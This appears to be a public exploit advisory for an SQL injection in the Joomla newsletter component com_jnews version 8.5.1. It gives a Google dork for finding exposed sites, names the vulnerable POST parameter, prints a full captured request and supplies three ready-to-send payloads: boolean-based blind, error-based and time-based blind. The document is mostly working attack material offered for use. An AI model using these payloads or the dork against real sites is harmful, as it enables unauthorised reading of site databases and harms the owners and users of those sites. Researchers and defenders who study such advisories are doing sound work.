Joomla! Component com_jnews 8.5.1 - SQL Injection

# Description of the component:
Reach, engage and delight more customers with newsletters, auto-responders
or campaign management.

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# Exploit Title: [Joomla component com_jnews - SQL injection]
# Google Dork: [inurl:option=com_jnews]
# Date: [2015-10-29]
# Exploit Author: [Omer Ramić]
# Twitter: https://twitter.com/sp_omer
# Vendor Homepage: [http://www.joobi.co/]
# Software Link: [
http://www.joobi.co/index.php?option=com_content&view=article&id=8652&Itemid=3031
]
# Version: [8.5.1] & probably all prior
# Tested on: Linux/Windows/PHP 5.5.28/Apache 2.4.16
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#Vulnerable POST parameter:
Parameter_1: sub_list_id[1] (This parametar needs to be encoded when
exploited as: sub_list_id%5B1%5D)


#The vulnerable parameter is within the following request:

POST /joomlatest/index.php?option=com_jnews HTTP/1.1
Host: 192.168.0.10
User-Agent: Hidden-user-agent-version
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://192.168.0.10/joomlatest/index.php?option=com_jnews&view=subscribe&act=subone&Itemid=206
Cookie:
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 318

Itemid=188&name=asdf&email=asdf%40asdf.com
&receive_html=0&timezone=00%3A00%3A00&confirmed=1&subscribed%5B1%5D=0&sub_list_id%5B1%5D=1&acc_level%5B1%5D=29&passwordA=0oYmqypNqP6eU&fromFrontend=1&act=subscribe&subscriber_id=0&user_id=0&option=com_jnews&task=save&boxchecked=0&Itemid=188&d65abd4ca0e24f5d3e5af6b5c390ae17=1





#Vector:
sub_list_id%5B1%5D=1[SQLi]



POC_1: boolean-based blind
Itemid=188&name=asdf&[email protected]&receive_html=0&timezone=00:00:00&confirmed=1&subscribed[1]=0&sub_list_id[1]=1
RLIKE (SELECT (CASE WHEN (7097=7097) THEN 1 ELSE 0x28
END))&acc_level[1]=29&passwordA=0oYmqypNqP6eU&fromFrontend=1&act=subscribe&subscriber_id=0&user_id=0&option=com_jnews&task=save&boxchecked=0&Itemid=188&d65abd4ca0e24f5d3e5af6b5c390ae17=1

POC_2: error-based
Itemid=188&name=asdf&[email protected]&receive_html=0&timezone=00:00:00&confirmed=1&subscribed[1]=0&sub_list_id[1]=1
AND EXTRACTVALUE(8483,CONCAT(0x5c,0x716b787671,(SELECT
(ELT(8483=8483,1))),0x716b786b71))&acc_level[1]=29&passwordA=0oYmqypNqP6eU&fromFrontend=1&act=subscribe&subscriber_id=0&user_id=0&option=com_jnews&task=save&boxchecked=0&Itemid=188&d65abd4ca0e24f5d3e5af6b5c390ae17=1

POC_3: AND/OR time-based blind
Itemid=188&name=asdf&[email protected]&receive_html=0&timezone=00:00:00&confirmed=1&subscribed[1]=0&sub_list_id[1]=(SELECT
* FROM
(SELECT(SLEEP(5)))Qrax)&acc_level[1]=29&passwordA=0oYmqypNqP6eU&fromFrontend=1&act=subscribe&subscriber_id=0&user_id=0&option=com_jnews&task=save&boxchecked=0&Itemid=188&d65abd4ca0e24f5d3e5af6b5c390ae17=1



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# Greets to Palestine from Bosnia          #
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Good Luck ^__^